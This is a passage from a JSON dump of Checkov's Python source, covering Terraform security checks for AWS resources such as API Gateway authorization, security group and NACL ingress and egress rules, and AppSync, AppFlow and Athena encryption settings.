    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass APIGatewayMethodSettingCacheEncrypted(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-3(6), NIST.800-53.r5 SC-13, NIST.800-53.r5 SC-28,\n        NIST.800-53.r5 SC-28(1), NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SI-7(6)\n        \"\"\"\n        name = \"Ensure API Gateway method setting caching is set to encrypted\"\n        id = \"CKV_AWS_308\"\n        supported_resources = ['aws_api_gateway_method_settings']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"settings/[0]/cache_data_encrypted\"\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        settings = conf.get(\"settings\", {})\n        if settings and len(settings) == 1:\n            settings = settings[0]\n        cache_enabled = settings.get(\"caching_enabled\", [False])\n        if isinstance(cache_enabled, list) and len(cache_enabled) == 1:\n            cache_enabled = cache_enabled[0]\n        if cache_enabled:\n            cache_encrypted = settings.get(\"cache_data_encrypted\", [False])\n            if isinstance(cache_encrypted, list) and len(cache_encrypted) == 1:\n                cache_encrypted = cache_encrypted[0]\n            if not cache_encrypted:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = APIGatewayMethodSettingCacheEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayMethodSettingsDataTrace(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Data Trace is not enabled in API Gateway Method Settings\"\n        id = \"CKV_AWS_276\"\n        supported_resources = ('aws_api_gateway_method_settings',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"settings/[0]/data_trace_enabled\"\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = APIGatewayMethodSettingsDataTrace()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py",
    "content": "from __future__ import annotations\nfrom typing import Any, Dict\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass APIGatewayMethodWOAuth(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure API gateway method has authorization or API key set\"\n        id = \"CKV2_AWS_70\"\n        supported_resources = ('aws_api_gateway_method',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def _is_policy_secure(self, policy: Dict[str, Any]) -> CheckResult:\n        # Check that the policy doesn't allow for all principals to us action execute-api:Invoke\n        passed = True\n        if policy.get(\"Statement\"):\n            for p in policy.get(\"Statement\"):\n                # Pass if there is any Deny for execute-api:Invoke\n                if p.get(\"Effect\") == \"Deny\" and p.get(\"Principal\") == \"*\":\n                    if (isinstance(p.get(\"Action\"), str) and p.get(\"Action\") in [\"execute-api:Invoke\", \"execute-api:*\",\n                                                                                 \"*\"]) or \\\n                            (isinstance(p.get(\"Action\"), list) and\n                             any(action in [\"execute-api:Invoke\", \"execute-api:*\", \"*\"] for action in p.get(\"Action\"))):\n                        return CheckResult.PASSED\n                # Fail if there is an Allow for execute-api:Invoke without a Deny or Conditions\n                if p.get(\"Effect\") == \"Allow\" and p.get(\"Principal\") == \"*\" and \"Condition\" not in p:\n                    if (isinstance(p.get(\"Action\"), str) and p.get(\"Action\") in [\"execute-api:Invoke\",\n                                                                                 \"execute-api:*\", \"*\"]) or \\\n                            (isinstance(p.get(\"Action\"), list) and\n                             any(action in [\"execute-api:Invoke\", \"execute-api:*\", \"*\"] for action in p.get(\"Action\"))):\n                        passed = False\n            if passed:\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        elif policy.get(\"statement\"):\n            policy_statement = policy.get(\"statement\")\n            if isinstance(policy_statement, dict):\n                policy_statement = [policy_statement]\n            for p in policy_statement:\n                # Pass if there is any Deny for execute-api:Invoke\n                if p.get(\"effect\") and p.get(\"effect\") == \"Deny\" and p.get(\"principals\").get(\"identifiers\") and \\\n                        p.get(\"principals\").get(\"identifiers\") == [\"*\"]:\n                    if (isinstance(p.get(\"actions\"), str) and p.get(\"actions\") in\n                        [\"execute-api:Invoke\", \"execute-api:*\", \"*\"]) or \\\n                        (isinstance(p.get(\"actions\"), list) and\n                         any(action in [\"execute-api:Invoke\", \"execute-api:*\", \"*\"] for action in p.get(\"actions\"))):\n                        return CheckResult.PASSED\n                # Fail if there is an Allow for execute-api:Invoke without a Deny or Conditions\n                if p.get(\"effect\") and p.get(\"effect\") == \"Allow\" and p.get(\"principals\").get(\"identifiers\") and \\\n                        p.get(\"principals\").get(\"identifiers\") == ['*'] and \"condition\" not in p:\n                    if (isinstance(p.get(\"actions\"), str) and p.get(\"actions\") in [\"execute-api:Invoke\",\n                                                                                   \"execute-api:*\", \"*\"]) or \\\n                            (isinstance(p.get(\"actions\"), list) and\n                             any(action in [\"execute-api:Invoke\", \"execute-api:*\", \"*\"] for action in p.get(\"actions\"))):\n                        passed = False\n            if passed:\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Pass if authorization is not NONE or if api_key_required = true (explicitly) or if http_method is anything\n        # other than OPTIONS\n        if conf.get(\"authorization\", [None])[0] != 'NONE' or \\\n                conf.get(\"api_key_required\", [False])[0] or \\\n                conf.get(\"http_method\", [None])[0] != \"OPTIONS\":\n            return CheckResult.PASSED\n\n        # Find connected `aws_api_gateway_rest_api` resources\n        rest_api_id = conf.get(\"rest_api_id\")[0].rsplit('.', 1)[0]\n        connected_rest_api_nodes = [g for g in self.graph.nodes() if g[1].get(CustomAttributes.ID) == rest_api_id]\n        if connected_rest_api_nodes:\n            connected_rest_api = connected_rest_api_nodes[0][1]\n            # If only PRIVATE (only private not [\"EDGE\",\"PRIVATE\"] as an example)\n            if \"endpoint_configuration\" in connected_rest_api and \\\n                    \"types\" in connected_rest_api.get(\"endpoint_configuration\") and \\\n                    connected_rest_api.get(\"endpoint_configuration\").get(\"types\") == [\"PRIVATE\"]:\n                return CheckResult.PASSED\n            elif \"policy\" in connected_rest_api:\n                return self._is_policy_secure(connected_rest_api.get(\"policy\"))\n            else:\n                # Check for connected `aws_api_gateway_rest_api_policy`\n                # If so, check that it follows the rules above\n                connected_rest_api_policy_nodes = [\n                    g2 for g2 in self.graph.nodes()\n                    if g2[1].get(CustomAttributes.RESOURCE_TYPE) == \"aws_api_gateway_rest_api_policy\" and\n                    g2[1].get(\"rest_api_id\").rsplit('.', 1)[0] == rest_api_id\n                ]\n\n                if connected_rest_api_policy_nodes:\n                    policy_statement = connected_rest_api_policy_nodes[0][1].get(\"policy\")\n                    if isinstance(policy_statement, dict):\n                        return self._is_policy_secure(policy_statement)\n                    elif isinstance(policy_statement, str) and policy_statement.split('.')[0] == 'data' and \\\n                            policy_statement.split('.')[-1] == 'json':\n                        target_id = '.'.join(policy_statement.split('.')[1:-1])\n                        connected_iam_policy_doc = [\n                            g3 for g3 in self.graph.nodes()\n                            if g3[1].get(CustomAttributes.BLOCK_TYPE) == \"data\" and\n                            g3[1].get(CustomAttributes.ID) == target_id\n                        ]\n\n                        if connected_iam_policy_doc[0][1].get(\"statement\"):\n                            return self._is_policy_secure(connected_iam_policy_doc[0][1])\n                else:\n                    return CheckResult.UNKNOWN\n            return CheckResult.UNKNOWN\n\n        # If there is no connected `aws_api_gateway_rest_api` then return UNKNOWN\n        return CheckResult.UNKNOWN\n\n\ncheck = APIGatewayMethodWOAuth()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom typing import Any, List\n\n\nclass APIGatewayV2RouteDefinesAuthorizationType(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-3, NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2)\n        \"\"\"\n        name = \"Ensure API GatewayV2 routes specify an authorization type\"\n        id = \"CKV_AWS_309\"\n        supported_resources = ['aws_apigatewayv2_route']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"authorization_type\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"AWS_IAM\", \"CUSTOM\", \"JWT\"]\n\n\ncheck = APIGatewayV2RouteDefinesAuthorizationType()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayXray.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayXray(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure API Gateway has X-Ray Tracing enabled\"\n        id = \"CKV_AWS_73\"\n        supported_resources = ['aws_api_gateway_stage']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"xray_tracing_enabled\"\n\n\ncheck = APIGatewayXray()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AWSCodeGuruHasCMK(BaseResourceCheck):\n    def __init__(self):\n        # This is the full description of your check\n        description = \"Make sure that aws_codegurureviewer_repository_association has a CMK\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AWS_381\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = ['aws_codegurureviewer_repository_association']\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'kms_key_details' in conf:\n            kms_key_details = conf['kms_key_details'][0]\n            if 'encryption_option' in kms_key_details:\n                encryption_option = kms_key_details['encryption_option'][0]\n                if encryption_option == 'CUSTOMER_MANAGED_CMK':\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['kms_key_details']\n\n\ncheck = AWSCodeGuruHasCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AbsNACLUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AbsNACLUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id, port):\n        name = \"Ensure no NACL allow ingress from 0.0.0.0:0 to port %d\" % port\n        supported_resources = ['aws_network_acl', 'aws_network_acl_rule']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n\n            Return PASS if:\n            - The NACL doesn't allow unrestricted ingress to the port\n            - The resource is an aws_network_acl of type 'ingress' that does not violate the check.\n\n            Return FAIL if:\n            - The NACL allows unrestricted access to the port\n\n            Return UNKNOWN if:\n            - the resource is an NACL of type 'egress', OR\n\n        :param conf: aws_network_acl configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if conf.get(\"ingress\"):\n            ingress = conf.get(\"ingress\")\n            # rules are processed in numeric order\n            if isinstance(ingress, list):\n                entry = ingress[0]\n                if isinstance(entry, list):\n                    entry = ingress[0]\n                    if isinstance(entry, dict) and entry.get('rule_no'):\n                        ingress[0].sort(key=lambda x: x.get('rule_no'))\n                elif isinstance(ingress[0], dict) and ingress[0].get('rule_no'):\n                    ingress.sort(key=lambda x: x.get('rule_no'))\n\n            for rule in ingress:\n                rule_lst = rule\n                if not isinstance(rule_lst, list):\n                    rule_lst = [rule_lst]\n                for sub_rule in rule_lst:\n                    if not isinstance(sub_rule, dict):\n                        return CheckResult.UNKNOWN\n                    if not self.check_rule(sub_rule):\n                        return CheckResult.FAILED\n                    if self.check_deny_rule(sub_rule):\n                        return CheckResult.PASSED\n            return CheckResult.PASSED\n        # maybe it's a network_acl_rule\n        if conf.get(\"network_acl_id\"):\n            if not conf.get(\"egress\") or not conf.get(\"egress\")[0]:\n                if not self.check_rule(conf):\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n    def check_rule(self, rule):\n        try:\n            from_port = int(rule.get('from_port', [None])[0])\n            to_port = int(rule.get('to_port', [None])[0])\n        except (TypeError, ValueError):\n            from_port = None\n            to_port = None\n\n        if rule.get('cidr_block'):\n            if rule.get('cidr_block') == [\"0.0.0.0/0\"]:\n                if rule.get('action') == [\"allow\"] or rule.get('rule_action') == [\"allow\"]:\n                    protocol = rule.get('protocol')\n                    if protocol and str(protocol[0]) == \"-1\":\n                        return False\n                    if from_port and to_port and from_port <= self.port <= to_port:\n                        return False\n        if rule.get('ipv6_cidr_block'):\n            if rule.get('ipv6_cidr_block') == [\"::/0\"]:\n                if rule.get('action') == [\"allow\"] or rule.get('rule_action') == [\"allow\"]:\n                    protocol = rule.get('protocol')\n                    if protocol and str(protocol[0]) == \"-1\":\n                        return False\n                    if from_port and to_port and from_port <= self.port <= to_port:\n                        return False\n        return True\n\n    def check_deny_rule(self, rule):\n        try:\n            from_port = int(rule.get('from_port', [None])[0])\n            to_port = int(rule.get('to_port', [None])[0])\n        except (TypeError, ValueError):\n            from_port = None\n            to_port = None\n\n        if rule.get('cidr_block') == [\"0.0.0.0/0\"]:\n            if rule.get('action') == [\"deny\"] or rule.get('rule_action') == [\"deny\"]:\n                protocol = rule.get('protocol')\n                if protocol and str(protocol[0]) == \"-1\":\n                    return True\n                if from_port and to_port and from_port <= self.port <= to_port:\n                    return True\n        if rule.get('ipv6_cidr_block') == [\"::/0\"]:\n            if rule.get('action') == [\"deny\"] or rule.get('rule_action') == [\"deny\"]:\n                protocol = rule.get('protocol')\n                if protocol and str(protocol[0]) == \"-1\":\n                    return True\n                if from_port and to_port and from_port <= self.port <= to_port:\n                    return True\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AbsSecurityGroupUnrestrictedEgress.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityGroupUnrestrictedEgress(BaseResourceCheck):\n    def __init__(self, check_id: str, port: int) -> None:\n        name = f\"Ensure no security groups allow egress from 0.0.0.0:0 to port {port}\"\n        supported_resources = ('aws_security_group', 'aws_security_group_rule', 'aws_vpc_security_group_egress_rule')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for configuration at security group egress rules :\n            https://www.terraform.io/docs/providers/aws/r/security_group.html\n            https://www.terraform.io/docs/providers/aws/r/security_group_rule.html\n\n            Return PASS if:\n            - The resource is an aws_security_group that contains no violating egress rules (including if there are no\n              egress rules at all), OR\n            - The resource is an aws_security_group_rule of type 'egress' that does not violate the check.\n\n            Return FAIL if:\n            - The resource is an aws_security_group that contains a violating egress rule, OR\n            - The resource is an aws_security_group_rule of type 'egress' that violates the check.\n\n            Return UNKNOWN if:\n            - the resource is an aws_security_group_rule of type 'egress', OR\n\n        :param conf: aws_security_group configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'egress' in conf:  # This means it's an SG resource with egress block(s)\n            egress_conf = conf['egress']\n            for egress_rule in egress_conf:\n                for rule in force_list(egress_rule):\n                    if isinstance(rule, dict):\n                        if self.check_self(rule):\n                            return CheckResult.PASSED\n                        if self.contains_violation(rule):\n                            self.evaluated_keys = [\n                                f'egress/[{egress_conf.index(egress_rule)}]/from_port',\n                                f'egress/[{egress_conf.index(egress_rule)}]/to_port',\n                                f'egress/[{egress_conf.index(egress_rule)}]/cidr_blocks',\n                                f'egress/[{egress_conf.index(egress_rule)}]/ipv6_cidr_blocks',\n                            ]\n                            return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        if 'type' in conf:  # This means it's an SG_rule resource.\n            type = force_list(conf['type'])[0]\n            if type == 'egress':\n                if self.check_self(conf):\n                    return CheckResult.PASSED\n                self.evaluated_keys = ['from_port', 'to_port', 'cidr_blocks', 'ipv6_cidr_blocks']\n                if self.contains_violation(conf):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.UNKNOWN\n        else:\n            self.evaluated_keys = ['from_port', 'to_port', 'cidr_ipv4', 'cidr_ipv6']\n            if 'from_port' in conf or 'to_port' in conf:\n                if self.contains_violation(conf):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.PASSED\n\n    def contains_violation(self, conf: dict[str, list[Any]]) -> bool:\n        from_port = force_int(force_list(conf.get('from_port', [{-1}]))[0])\n        to_port = force_int(force_list(conf.get('to_port', [{-1}]))[0])\n        protocol = force_list(conf.get('protocol', [None]))[0]\n        if from_port == 0 and to_port == 0:\n            to_port = 65535\n\n        prefix_list_ids = conf.get('prefix_list_ids')\n        if prefix_list_ids and prefix_list_ids != [[]]:\n            return False\n\n        if from_port is not None and to_port is not None and (from_port <= self.port <= to_port) or (\n                protocol == '-1' and from_port == 0 and to_port == 65535):\n            if conf.get('cidr_blocks'):\n                conf_cidr_blocks = conf.get('cidr_blocks', [[]])\n            else:\n                conf_cidr_blocks = conf.get('cidr_ipv4', [[]])\n            if conf_cidr_blocks and len(conf_cidr_blocks) > 0:\n                conf_cidr_blocks = conf_cidr_blocks[0]\n            cidr_blocks = force_list(conf_cidr_blocks)\n            if \"0.0.0.0/0\" in cidr_blocks:\n                return True\n            if conf.get('ipv6_cidr_blocks'):\n                ipv6_cidr_blocks = conf.get('ipv6_cidr_blocks', [])\n            else:\n                ipv6_cidr_blocks = conf.get('cidr_ipv6', [])\n            if ipv6_cidr_blocks and ipv6_cidr_blocks[0] is not None and \\\n                    any(ip in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0'] for ip in ipv6_cidr_blocks[0]):\n                return True\n            if not ipv6_cidr_blocks and not cidr_blocks \\\n                    and conf.get('security_groups') is None \\\n                    and conf.get('source_security_group_id') is None:\n                return True\n        return False\n\n    def check_self(self, conf: dict[str, list[Any]]) -> bool:\n        if conf.get('self'):\n            limit = force_list(conf['self'])[0]\n            if limit:\n                return True\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AbsSecurityGroupUnrestrictedIngress.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id: str, port: int) -> None:\n        name = f\"Ensure no security groups allow ingress from 0.0.0.0:0 to port {port}\"\n        supported_resources = ('aws_security_group', 'aws_security_group_rule', 'aws_vpc_security_group_ingress_rule')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for configuration at security group ingress rules :\n            https://www.terraform.io/docs/providers/aws/r/security_group.html\n            https://www.terraform.io/docs/providers/aws/r/security_group_rule.html\n\n            Return PASS if:\n            - The resource is an aws_security_group that contains no violating ingress rules (including if there are no\n              ingress rules at all), OR\n            - The resource is an aws_security_group_rule of type 'ingress' that does not violate the check.\n\n            Return FAIL if:\n            - The resource is an aws_security_group that contains a violating ingress rule, OR\n            - The resource is an aws_security_group_rule of type 'ingress' that violates the check.\n\n            Return UNKNOWN if:\n            - the resource is an aws_security_group_rule of type 'egress', OR\n\n        :param conf: aws_security_group configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'ingress' in conf:  # This means it's an SG resource with ingress block(s)\n            ingress_conf = conf['ingress']\n            for ingress_rule in ingress_conf:\n                for rule in force_list(ingress_rule):\n                    if isinstance(rule, dict):\n                        if self.check_self(rule):\n                            return CheckResult.PASSED\n                        if self.contains_violation(rule):\n                            self.evaluated_keys = [\n                                f'ingress/[{ingress_conf.index(ingress_rule)}]/from_port',\n                                f'ingress/[{ingress_conf.index(ingress_rule)}]/to_port',\n                                f'ingress/[{ingress_conf.index(ingress_rule)}]/cidr_blocks',\n                                f'ingress/[{ingress_conf.index(ingress_rule)}]/ipv6_cidr_blocks',\n                            ]\n                            return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        if 'type' in conf:  # This means it's an SG_rule resource.\n            type = force_list(conf['type'])[0]\n            if type == 'ingress':\n                if self.check_self(conf):\n                    return CheckResult.PASSED\n                self.evaluated_keys = ['from_port', 'to_port', 'cidr_blocks', 'ipv6_cidr_blocks']\n                if self.contains_violation(conf):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.UNKNOWN\n        else:\n            self.evaluated_keys = ['from_port', 'to_port', 'cidr_ipv4', 'cidr_ipv6']\n            if 'from_port' in conf or 'to_port' in conf:\n                if self.contains_violation(conf):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.PASSED\n\n    def contains_violation(self, conf: dict[str, list[Any]]) -> bool:\n        from_port = force_int(force_list(conf.get('from_port', [{-1}]))[0])\n        to_port = force_int(force_list(conf.get('to_port', [{-1}]))[0])\n        protocol = force_list(conf.get('protocol', [None]))[0]\n        if from_port == 0 and to_port == 0:\n            to_port = 65535\n\n        prefix_list_ids = conf.get('prefix_list_ids')\n        if prefix_list_ids and prefix_list_ids != [[]]:\n            return False\n\n        if from_port is not None and to_port is not None and (from_port <= self.port <= to_port) or (\n                protocol == '-1' and from_port == 0 and to_port == 65535):\n            if conf.get('cidr_blocks'):\n                conf_cidr_blocks = conf.get('cidr_blocks', [[]])\n            else:\n                conf_cidr_blocks = conf.get('cidr_ipv4', [[]])\n            if conf_cidr_blocks and len(conf_cidr_blocks) > 0:\n                conf_cidr_blocks = conf_cidr_blocks[0]\n            cidr_blocks = force_list(conf_cidr_blocks)\n            if \"0.0.0.0/0\" in cidr_blocks:\n                return True\n            if conf.get('ipv6_cidr_blocks'):\n                ipv6_cidr_blocks = conf.get('ipv6_cidr_blocks', [])\n            else:\n                ipv6_cidr_blocks = conf.get('cidr_ipv6', [])\n            if ipv6_cidr_blocks and ipv6_cidr_blocks[0] is not None and \\\n                    any(ip in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0'] for ip in ipv6_cidr_blocks[0]):\n                return True\n            if not ipv6_cidr_blocks and not cidr_blocks \\\n                    and conf.get('security_groups') is None \\\n                    and conf.get('source_security_group_id') is None:\n                return True\n        return False\n\n    def check_self(self, conf: dict[str, list[Any]]) -> bool:\n        if conf.get('self'):\n            limit = force_list(conf['self'])[0]\n            if limit:\n                return True\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass AppFlowConnectorProfileUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AppFlow connector profile uses CMK\"\n        id = \"CKV_AWS_264\"\n        supported_resources = ['aws_appflow_connector_profile']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_arn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AppFlowConnectorProfileUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass AppFlowUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AppFlow flow uses CMK\"\n        id = \"CKV_AWS_263\"\n        supported_resources = ['aws_appflow_flow']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_arn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AppFlowUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppSyncFieldLevelLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync has Field-Level logs enabled\"\n        id = \"CKV_AWS_194\"\n        supported_resources = (\"aws_appsync_graphql_api\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"log_config/[0]/field_log_level\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"ALL\", \"ERROR\"]\n\n\ncheck = AppSyncFieldLevelLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppSyncLogging.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppSyncLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync has Logging enabled\"\n        id = \"CKV_AWS_193\"\n        supported_resources = (\"aws_appsync_graphql_api\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"log_config/[0]/cloudwatch_logs_role_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppSyncLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppsyncCacheEncryptionAtRest(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync API Cache is encrypted at rest\"\n        id = \"CKV_AWS_214\"\n        supported_resources = [\"aws_appsync_api_cache\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"at_rest_encryption_enabled\"\n\n\ncheck = AppsyncCacheEncryptionAtRest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppsyncCacheEncryptionInTransit(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync API Cache is encrypted in transit\"\n        id = \"CKV_AWS_215\"\n        supported_resources = [\"aws_appsync_api_cache\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"transit_encryption_enabled\"\n\n\ncheck = AppsyncCacheEncryptionInTransit()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AthenaDatabaseEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Athena Database is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_77\"\n        supported_resources = ['aws_athena_database']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encryption_configuration/[0]/encryption_option\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AthenaDatabaseEncryption()\n"
  },
  {
